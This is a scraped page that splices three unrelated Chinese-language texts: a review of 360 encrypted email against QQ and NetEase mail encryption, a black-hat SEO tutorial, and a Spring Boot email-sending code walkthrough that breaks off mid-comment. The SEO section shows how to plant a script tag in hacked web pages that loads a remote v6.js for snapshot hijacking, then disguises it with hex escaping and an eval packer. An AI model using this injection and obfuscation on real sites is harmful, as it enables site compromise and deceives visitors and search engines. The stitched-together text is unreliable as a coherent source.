泡網筆記本頻道2月4日 無論是在生活或是工作中我們都要用到電子郵件,而且幾乎所有的互聯網使用者都擁有自己的電子郵箱。隨著網絡的高速發展,電子郵件的每日發送的數量也在不斷攀升,平均每分鐘全球就有上億封電子郵件發出。與此同時,信息泄露事件也總是流傳在我們耳邊,尤其是2014年國內爆出了眾多互聯網安全問題,其中郵件泄密非常嚴重,安全性令人擔憂。在多數人看來,保護好自己的郵箱就是將郵箱密碼設置的越復雜越好,然而郵件泄露則可能發生在傳輸、存儲過程中,令人防不勝防。因此,對于自己的郵箱以及重要郵件還需要進一步的保護。
電子郵件加密的重要性
多數情況下我們日常發送的郵件都是沒有進行加密操作的,也就是說日常發送的郵件內容傳輸均是以明文方式進行,一旦被攔截、盜取,郵件內容將全盤曝光。郵件加密不僅僅被應用在企業、政府等企業級別,包括學生向老師發送畢業論文等較為重要的郵件同樣需要進行加密操作。因此,發送加密郵件,也應該是我們應該了解的一部分網絡安全內容。
360加密郵發送、接收加密郵件
前不久360出品了一款郵件加密軟件:360加密郵,下面筆者就來談談這款加密軟件的試用體驗,同時也與常用的QQ郵箱、網易郵箱加密功能進行對比,讓大家對于這些主流郵箱加密軟件有更深的了解。此外,筆者也為大家帶來一些日常使用電子郵件的注意事項,以此告知大家如何正確并安全的使用郵箱,保護自己的郵件安全。
首先,我們先來看看360加密郵這款軟件,該軟件有Windows版和Android版兩個版本,筆者在此以Windows版本為例。
客戶端登陸
初次使用時需要設置姓名,并且同時可以選擇在打開此應用時是否需要輸入密碼,在此我們選擇需要密碼。在輸入密碼時,筆者嘗試輸入“123456”這樣安全系數低的密碼,軟件居然沒有任何危險提示,而且筆者設置的密碼提示也為123456,提示與密碼相同居然沒有提示,也沒有密碼太弱,相比來看缺少人性化的提醒。
設置郵箱、手機號二次驗證
接下來,我們需要登陸自己的郵箱,登陸過程與大多數的郵箱客戶端相似。不過,作為郵件加密軟件,還有兩個更為重要的設置。其中,第一個就是設置好目前郵箱的安全密碼,第二個就是需要手機號嚴重作為雙重保證。(注:此處的安全密碼為查看加密郵件的密碼)
1,發送加密郵件
在發送郵件的界面,我們可以看到兩種發送方式,如果想要發送加密郵件,只需要點擊“加密發送”即可發出加密郵件,操作非常簡單。此外,在360加密郵中抄送功能正常,但是沒有密送選項。
2,接收加密郵件
如果接收方是非360加密郵的注冊賬號,在查看經過加密的郵件時,我們發現“加密”過的郵件變成了一個以“html"結尾的附件,也就是說這個附件是一個本地離線的網頁。
打開附件后,彈出的網頁如上圖所示。在此,我們可以選擇輸入郵箱的安全密碼查看郵件,其中我們可以通過“接收郵件地址或發送郵件地址”的安全密碼進行查看。也意味著對方如果沒有在360加密郵進行注冊,那么則只能發送方的安全密碼查看郵件。
如果接收郵件方是360加密郵注冊賬號,那么在加密郵的客戶端打開后即可看到完整的郵件內容,并不需要進行手動輸入密碼進行驗證。這也是360加密郵基于IBC標識密碼(SM9算法)的優勢,對于雙方均注冊的用戶來說發送和接收加密郵件的使用體驗非常不錯,省去了以往需要驗證碼或證書驗證的步驟。
筆者試用過后認為360加密郵與微軟的outlook軟件相差不大, 操作起來簡單、易懂,上手較快,是目前值得推薦的郵件加密軟件。
QQ郵箱發送、接收加密郵件體驗
除此以外,我們最常用的QQ郵箱和網易郵箱還支持網頁端直接發送加密郵件,可能你在日常使用時并未發現,下面筆者就為大家帶來QQ郵箱發送加密郵件的演示過程,而網易郵箱的發送方法大體相似,在此就不做演示。
QQ郵箱網頁端,下方其他選項--“對郵件加密”
輸入密碼,以供對方查看
如果對方是QQ郵箱用戶,直接輸入密碼即可查看
如果對方不是QQ郵箱用戶,則以zip壓縮包形式發送,打開zip文件時需要輸入密碼
到這里,QQ郵箱發送加密郵件的過程基本就結束了。表面上看來,QQ郵箱網頁版相比360加密郵軟件不僅可以省去下載安裝客戶端的步驟,同時還能對每封郵件設立不同的安全密碼,整體的靈活性相對較高。但是從安全性來講,360加密郵確實更有優勢一些。
主流郵件加密安全性對比
首先,我們需要了解目前郵件加密發送的加密方式。目前常用的電子郵件加密方式有:
1,基于對稱密鑰方式
安全性一般,此方式加密方式較為原始,使用起來也比較簡單、易懂,采用此方式發送基本可以等同于將郵件轉化為一個帶有密碼的壓縮文件,安全防護性一般,但使用起來比較靈活,網頁端同樣可使用。
2,基于非對稱密鑰方式
安全性高,此方式需要先交換密匙才能進行加解密操作等,這種加密方法只適用于企業、單位和一些高端用戶。
3,基于IBC標識密碼方式
安全性高,此方式的原理是使用對稱算法加密郵件內容,再使用對方的公鑰或證書來保證對稱算法的密鑰,使用較為便捷。
4,基于鏈式加密體系的方式
安全性高,此方式每次都隨機生成一個隨機密鑰,再用對稱加密算法對明文加密,然后用RSA非對稱算法對該密鑰加密。
我們看到的QQ郵箱和網易郵箱的網頁版均是次用了第一種基于口令的加密方式,也就是說這些加密的郵件只是簡單的基于口令加密的方式進行傳輸。然而,360加密郵采用的基于IBC標識密碼(SM9算法)在安全性方面要更強大。
因此,360加密郵采用了IBC標識密碼(SM9算法),這也是一種目前較為安全的加密算法,相比QQ郵箱、網易郵箱的網頁版采用基于對稱(口令)式的加密方式來看,360加密郵在安全性上要略勝一籌。
不僅僅是本文中提高的郵件加密軟件,還有包括了MailCloak、PGP、Omail等眾多郵件加密軟件,它們在安全性方面依舊有著很高的可靠性,在此筆者并不一一介紹,感興趣的朋友們可以自行嘗試。
日常使用電子郵箱注意事項
下面,筆者就為大家來總結在日常使用電子郵箱時還需要注意的安全性事項,希望大家在日常使用時提起注意。
1,注冊多個電子郵箱帳戶,在各大網站注冊不要使用郵箱密碼
日常我們在注冊網站時大多都需要用到電子郵箱,我們可以根據不同的需求使用不同的電子郵件進行注冊,以免某些網站遭遇泄露時注冊郵箱信息也被曝光。同時,我們在注冊時也不要使用與郵箱密碼相同的密碼,將風險盡可能降低。
2,郵件客戶端盡量選擇SSL驗證
多數的郵箱客戶端可以設置SSL安全驗證
我們如果通過客戶端來進行接收、發送郵件的話,我們還可以設置SSL(一種安全協議)進行驗證,從而進一步保證郵件的安全,以發送過程中被攔截等以外情況。
3,設置郵箱獨立密碼
對于使用QQ郵箱的朋友來說,默認情況下郵箱密碼與QQ密碼相同,我們可以設置一個獨立的郵箱密碼,防止QQ密碼泄露后QQ郵箱也遭遇到泄露。
4,郵箱重要文件夾加密
如果說獨立密碼是第二層防護的話,那么給郵箱里的文件夾加鎖就是第三道防線了,對于使用QQ、網易等郵箱的朋友來說,可以直接設置文件夾加密,在日常整理郵件時可以將私密的郵件進行歸類,然后再進行獨立加密,可將整個文件夾的安全性再次提高。
全文總結:
綜合來看,360加密郵在安全性方面表現出色,如果收發雙方均是注冊用戶,在收發雙方均可以直接閱讀而不用輸入安全密碼或者證書信息,其憑借此優勢可以在郵件加密方面獲得很好的使用體驗,適合經常發送加密郵件的用戶使用。而QQ郵箱、網易郵箱網頁版中采用的基于口令式的密碼加密,其靈活性更高,更適合臨時發送加密郵件來使用。
目前主流的郵件加密并不需要用戶付出額外的使用成本,如果你對自己的私密信息足夠重視,筆者還是非常建議使用這種功能。最后,如果大家對于電子郵件加密方面有任何疑問,還可以與泡泡網筆記本頻道官方微博@泡本記進行溝通、交流。■
一些黑帽SEO要對跳轉的js代碼進行加密,學習JavaScript加密方式,當我們網站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網站被黑問題。今天,錯誤博客(cuowu.com)分享的內容為《黑帽SEO教程為html中的js跳轉url加密》。希望對大家有所幫助。
JavaScript跳轉是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內容,如果是用戶直接訪問瀏覽器則會顯示原頁面內容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對前面雙引號內的內容進行16進制加密,后面單引號內容也同樣進行16進制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個可以用utf-8轉16進制加密在線工具即可。錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
加密完成后變為:
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補充一下才能正常運行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯誤博客(https://cuowu.com/)分享的內容為《黑帽SEO為html中的js加密(js混淆與16進制加密)》。感謝您的閱讀。更多原創搜索“錯誤博客”。
本文默認使用qq郵箱來發送郵件,然后使用一個在線臨時郵箱來接收郵件。 為了讓程序能夠通過qq郵箱來發送郵件,必須在qq郵箱中配置一下打開IMAP/SMTP服務
開啟的時候,需要通過手機發送一條信息作為驗證,驗證成功后,會給你一個授權碼,這個后面我們要用到
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!--<version>2.7.11</version>-->
<version>2.5.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<java.version>1.8</java.version>
<project-name>spring-boot-email</project-name>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<groupId>org.example</groupId>
<artifactId>${project-name}</artifactId>
<version>1.0-SNAPSHOT</version>
<name>${project-name}</name>
<description>${project-name}</description>
<dependencies>
<!--發送郵件的依賴-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-mail</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!--web依賴-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!--=================應用==================-->
<!-- thymeleaf模板 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.25</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>31.1-android</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.7.1</version>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
server:
port: 8000
max-http-header-size: 8192
servlet:
encoding:
charset: UTF-8
force: true
enabled: true
#配置日志
logging:
level:
root: info
spring:
application:
name: spring-boot-email
mvc.async.request-timeout: 20000
mail:
# host: "smtp.163.com" # 發件服務器地址
# port: 25 # 常用郵件端口25、109、110、143、465、995、993、994 如果開啟了SSL安全則使用對應的端口號,25為非加密端口號
# username: admin@163.com # 發送郵件的賬號
# password: 123456 # 配置密碼,注意,不是真正的密碼,而是剛剛申請到的授權碼
# default-encoding: utf-8 # 設置編碼
host: smtp.exmail.qq.com
port: 465
username: test@xxx.cn
password: 123123
default-encoding: utf-8 # 設置編碼
protocol: smtp
properties: # 設置郵件超時時間防止服務器阻塞
timeout: 5000
connection-timeout: 5000
write-timeout: 5000
mail:
debug: true # 表示開啟 DEBUG 模式,這樣,郵件發送過程的日志會在控制臺打印出來,方便排查錯誤
# 官方建議使用 465 端口,而 465 端口是 SSL 協議的,所以不僅要換端口,
# 還需要進行 SSL 協議替換。下面是在 application.properties 進行的郵件發送相關配置,
smtp:
socketFactory:
port: 465
#socketFactoryClass: javax.net.ssl.SSLSocketFactory #配飾 SSL 加密工廠
ssl:
enable: true
thymeleaf:
cache: false
mode: LEGACYHTML5 # 類型
prefix: classpath:/templates/ # 模板存放的位置
suffix: .html # 模板的后綴
用于封裝郵件中需要包含的信息
package org.example.entity;
import java.io.Serializable;
import java.util.Map;
/**
* @author test 2023-05-08 10:52:59
*/
public class EmailModel implements Serializable {
/**
* 收件人郵箱
*/
private String[] recipientMailbox;
/**
* 郵件正文內容
*/
private String content;
/**
* 郵件主題
*/
private String title;
/**
* 抄送人郵箱
*/
private String[] ccMailbox;
/**
* 加密抄送人郵箱
*/
private String[] bccMailbox;
/**
* 真實名稱/附件路徑
* enclosures: {“fileNmae”: "filePath+fileNmae"}
*/
private Map<String, Object> enclosures;
// 附件是否添加的到正文,默認false不添加
// private Boolean is_;
public String getContent() {
return content;
}
public void setContent(String content) {
this.content=content;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title=title;
}
public String[] getRecipientMailbox() {
return recipientMailbox;
}
public void setRecipientMailbox(String[] recipientMailbox) {
this.recipientMailbox=recipientMailbox;
}
public String[] getCcMailbox() {
return ccMailbox;
}
public void setCcMailbox(String[] ccMailbox) {
this.ccMailbox=ccMailbox;
}
public String[] getBccMailbox() {
return bccMailbox;
}
public void setBccMailbox(String[] bccMailbox) {
this.bccMailbox=bccMailbox;
}
public Map<String, Object> getEnclosures() {
return enclosures;
}
public void setEnclosures(Map<String, Object> enclosures) {
this.enclosures=enclosures;
}
}
package org.example.service;
import org.apache.commons.lang3.ArrayUtils;
import org.example.entity.EmailModel;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.stereotype.Service;
import org.springframework.util.CollectionUtils;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import javax.annotation.Resource;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
import java.io.File;
import java.util.Date;
import java.util.Map;
/**
* @author Administrator
*/
@Service
@EnableAsync
public class EmailService {
Logger log=LoggerFactory.getLogger(getClass());
/**
* 將配置文件中的username注入到MAIL_USERNAME中, 這是發送人的郵箱地址
*/
@Value("${spring.mail.username}")
public String MAIL_USERNAME;
/**
* JavaMailSender類的對象, 是springboot自動裝配的
*/
@Resource
private JavaMailSender javaMailSender;
/**
* template 模板引擎
*/
@Autowired
private TemplateEngine templateEngine;
/**
* 發送簡單的郵件(內容為純文本郵件)
* @param model
* @return
*/
public boolean sendSimpleEmail(EmailModel model) {
SimpleMailMessage simpleMailMessage=new SimpleMailMessage();
// 設置發件人郵箱
simpleMailMessage.setFrom(MAIL_USERNAME);
// 設置接收人賬號
simpleMailMessage.setTo(model.getRecipientMailbox());
// 設置郵件標題
simpleMailMessage.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
simpleMailMessage.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
simpleMailMessage.setSentDate(new Date());
// 設置郵件正文內容
simpleMailMessage.setText(model.getContent());
// 發送郵件
javaMailSender.send(simpleMailMessage);
log.info("send simple email success!");
return true;
}
/**
* 發送富文本郵件(附件,圖片,html等)
* 使用MimeMessage來作為對象發送,
* 但是郵件內容需要通過 MimeMessageHelper 對象來進行封裝進MimeMessage 里
* 注意:
* 如果發送的內容包括html標簽, 則需要 helper.setText(email.getContent(),true);
* 第二個參數要為true,表示開啟識別html標簽.默認是false,也就是不識別.
* @param model
* @return
*/
public boolean sendMimeEmail(EmailModel model) {
MimeMessage mimeMessage=javaMailSender.createMimeMessage();
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);
try {
// 設置發件人郵箱
helper.setFrom(MAIL_USERNAME);
// 設置接收人賬號
helper.setTo(model.getRecipientMailbox());
// 設置郵件標題
helper.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
helper.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
helper.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
helper.setSentDate(new Date());
// 發送的內容包括html標簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
// 使用 MimeMessage 對象, 調用setText方法, 里面的字符串是帶有html標簽的字符串,
// 在發送郵件的時候會自動解析正文中的html標簽
helper.setText(model.getContent(), true);
// 發送郵件
javaMailSender.send(mimeMessage);
log.info("send mime email success!");
return true;
} catch (MessagingException e) {
e.printStackTrace();
return false;
}
}
/**
* 使用 MimeMessage 發送富文本郵件(附件,圖片,html等)
* @param model
* @return
*/
public boolean sendAttachMimeEmail(EmailModel model) {
MimeMessage mimeMessage=javaMailSender.createMimeMessage();
try {
// 發送帶附件的郵件, 需要加一個參數為true
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
// 設置發件人郵箱
helper.setFrom(MAIL_USERNAME);
// 設置接收人賬號
helper.setTo(model.getRecipientMailbox());
// 設置郵件標題
helper.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
helper.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
helper.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
helper.setSentDate(new Date());
// 發送的內容包括html標簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
// 使用 MimeMessage 對象, 調用setText方法, 里面的字符串是帶有html標簽的字符串,
// 在發送郵件的時候會自動解析正文中的html標簽
helper.setText(model.getContent(), true);
Map<String, Object> enclosures=model.getEnclosures();
// 創建要傳遞的附件對象
if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
for (String key : enclosures.keySet()) {
// File file=new File("D:\mybatis.doc");
File file=new File((String) enclosures.get(key));
// 通過MimeMessageHelper對象的addAttachment方法來傳遞附件
// 第一個參數為附件名, 第二個參數為File對象
helper.addAttachment(key, file);
}
}
// 預覽文件
// helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
// 配合前端可以直接預覽圖片
// helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
// helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));
// 發送郵件
javaMailSender.send(mimeMessage);
log.info("send mime email success!");
return true;
} catch (MessagingException e) {
e.printStackTrace();
return false;
}
}
/**
* 發送模板郵件 使用 thymeleaf 模板
* 如果使用freemarker模板
* Configuration configuration=new Configuration(Configuration.VERSION_2_3_28);
* configuration.setClassForTemplateLoading(this.getClass(), "/templates");
* String emailContent=FreeMarkerTemplateUtils.processTemplateIntoString(configuration.getTemplate("mail.ftl"), params);
* @param model
* @return
*/
public boolean sendTemplateMail(EmailModel model) {
// 發一個復雜一點的郵件
MimeMessage mimeMessage=javaMailSender.createMimeMessage();
try {
MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
// 設置發件人郵箱
helper.setFrom(MAIL_USERNAME);
// 設置接收人賬號
helper.setTo(model.getRecipientMailbox());
// 設置郵件標題
helper.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
helper.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
helper.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
helper.setSentDate(new Date());
// 使用模板thymeleaf
// Context 是導這個包import org.thymeleaf.context.Context;
Context context=new Context();
// 定義模板數據
context.setVariables(model.getEnclosures());
// 獲取thymeleaf的html模板, 指定模板路徑
// 在 Spring Boot 中, 模板引擎的默認配置已經將模板文件的根路徑設置為 /src/main/resources/templates
String emailContent=templateEngine.process("index.html", context);
// 發送的內容包括html標簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
// 使用 MimeMessage 對象, 調用setText方法, 里面的字符串是帶有html標簽的字符串,
// 發送郵件的時候會自動解析正文中的html標簽
helper.setText(emailContent, true);
Map<String, Object> enclosures=model.getEnclosures();
// 創建要傳遞的附件對象
// import org.springframework.util.CollectionUtils;
if (!CollectionUtils.isEmpty(enclosures)) {
for (String key : enclosures.keySet()) {
// File file=new File(“D:\mybatis.doc”);
File file=new File((String)enclosures.get(key));
// 通過MimeMessageHelper對象的addAttachment方法來傳遞附件, 第一個參數為附件名, 第二個參數為FIle對象
helper.addAttachment(key, file);
}
}
// 發送郵件
javaMailSender.send(mimeMessage);
log.info("send mime email success!");
return true;
} catch (MessagingException e) {
e.printStackTrace();
return false;
}
}
}
package org.example.controller;
import org.example.entity.EmailModel;
import org.example.service.EmailService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.mail.MessagingException;
/**
* 通知告警服務:
* 集成 drools:
*
* 通知渠道: 站內信, 郵件, 短信, 微信 等等
* 通知策略: 告警級別設置, 告警規則合并, 告警通知的周期。。 粒度
* 交易通知:
* 告警級別
* 通知策略:
* drools
* 告警規則:mysql+springboot 交易服務 放在 同一臺機器 --》 幾百條 合并為一條
* 權限,認證
* @description:
*/
@RestController
public class EmailController {
Logger log=LoggerFactory.getLogger(getClass());
@Autowired
EmailService emailService;
@RequestMapping("test")
public String test() {
log.info("ok");
return "ok";
}
/**
* {
* "recipientMailbox": [
* "test@xxx.cn"
* ],
* "title": "簡單測試主題",
* "content": "測試郵件測試人test"
* }
* @param model
* @return
* @throws MessagingException
*/
@RequestMapping("sendSimpleEmail")
public String sendSimpleEmail(@RequestBody EmailModel model) {
emailService.sendSimpleEmail(model);
return "success!";
}
/**
* {
* "recipientMailbox": [
* "test@xxx.cn"
* ],
* "title": "html測試主題",
* "content": "<h1>測試郵件測試人test</h1>
* <a href=\"https://www.baidu.com/\">點擊跳轉百度</a>
* <img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
* }
* @param model
* @return
* @throws MessagingException
*/
@RequestMapping("sendMimeEmail")
public String sendMimeEmail(@RequestBody EmailModel model) {
emailService.sendMimeEmail(model);
return "success!";
}
/**
* {
* "recipientMailbox": [
* "test@xxx.cn"
* ],
* "title": "附件測試主題",
* "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
* "enclosures": {
* "dog2.jpg": "E:\\img\\dog2.png"
* }
* }
* @param model
* @return
*/
@RequestMapping("sendAttachMimeEmail")
public String sendAttachMimeEmail(@RequestBody EmailModel model) {
emailService.sendAttachMimeEmail(model);
return "success!";
}
/**
* {
* "recipientMailbox": [
* "test@xxx.cn"
* ],
* "title": "thymeleaf 測試主題",
* "enclosures": {
* "dog2.jpg": "E:\\img\\dog2.png"
* }
* }
* @param model
* @return
*/
@RequestMapping("sendTemplateMail")
@ResponseBody
public String sendTemplateMail(@RequestBody EmailModel model) {
emailService.sendTemplateMail(model);
return "success!";
}
}
下文中所有的實現都是寫在 EmailService 類中。
通過SimpleMailMessage對象來發送簡單郵件,郵件的內容只能是純文本,將內容封裝到該對象中,再通過javaMailSender對象來發送郵件
/**
* 發送簡單的郵件(內容為純文本郵件)
* @param model
* @return
*/
public boolean sendSimpleEmail(EmailModel model) {
SimpleMailMessage simpleMailMessage=new SimpleMailMessage();
// 設置發件人郵箱
simpleMailMessage.setFrom(MAIL_USERNAME);
// 設置接收人賬號
simpleMailMessage.setTo(model.getRecipientMailbox());
// 設置郵件標題
simpleMailMessage.setSubject(model.getTitle());
// 設置抄送人
String[] ccMailbox=model.getCcMailbox();
if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
simpleMailMessage.setCc(model.getCcMailbox());
}
// 加密抄送人郵箱
String[] bccMailbox=model.getBccMailbox();
if (ArrayUtils.isNotEmpty(bccMailbox)) {
simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
}
// 發送日期
simpleMailMessage.setSentDate(new Date());
// 設置郵件正文內容
simpleMailMessage.setText(model.getContent());
// 發送郵件
javaMailSender.send(simpleMailMessage);
log.info("send simple email success!");
return true;
}
{
"recipientMailbox": [
"test@xxxx.cn"
],
"title": "簡單測試主題",
"content": "<h1>測試郵件測試人test</h1>"
}
查看是否收到郵件,內容和我們發送的一樣
直接和上面一樣,使用SimpleMessage對象,調用setText方法,里面的字符串是帶有html標簽的字符串,在發送郵件的時候會自動解析正文中的html標簽 代碼和上面一樣,只需要修改發送email的內容即可
使用MimeMessage來作為對象發送,但是郵件內容需要通過MimeMessageHelper對象來進行封裝進MimeMessage里
注意:如果發送的內容包括html標簽,則需要 helper.setText(email.getContent(),true);第二個參數要為true,表示開啟識別html標簽.默認是false,也就是不識別.
/**
* 發送富文本郵件(附件,圖片,html等)
* 使用MimeMessage來作為對象發送,
* 但是郵件內容需要通過 MimeMessageHelper 對象來進行封裝進MimeMessage 里
* 注意:
* 如果發送的內容包括html標簽, 則需要 helper.setText(email.getContent(),true);
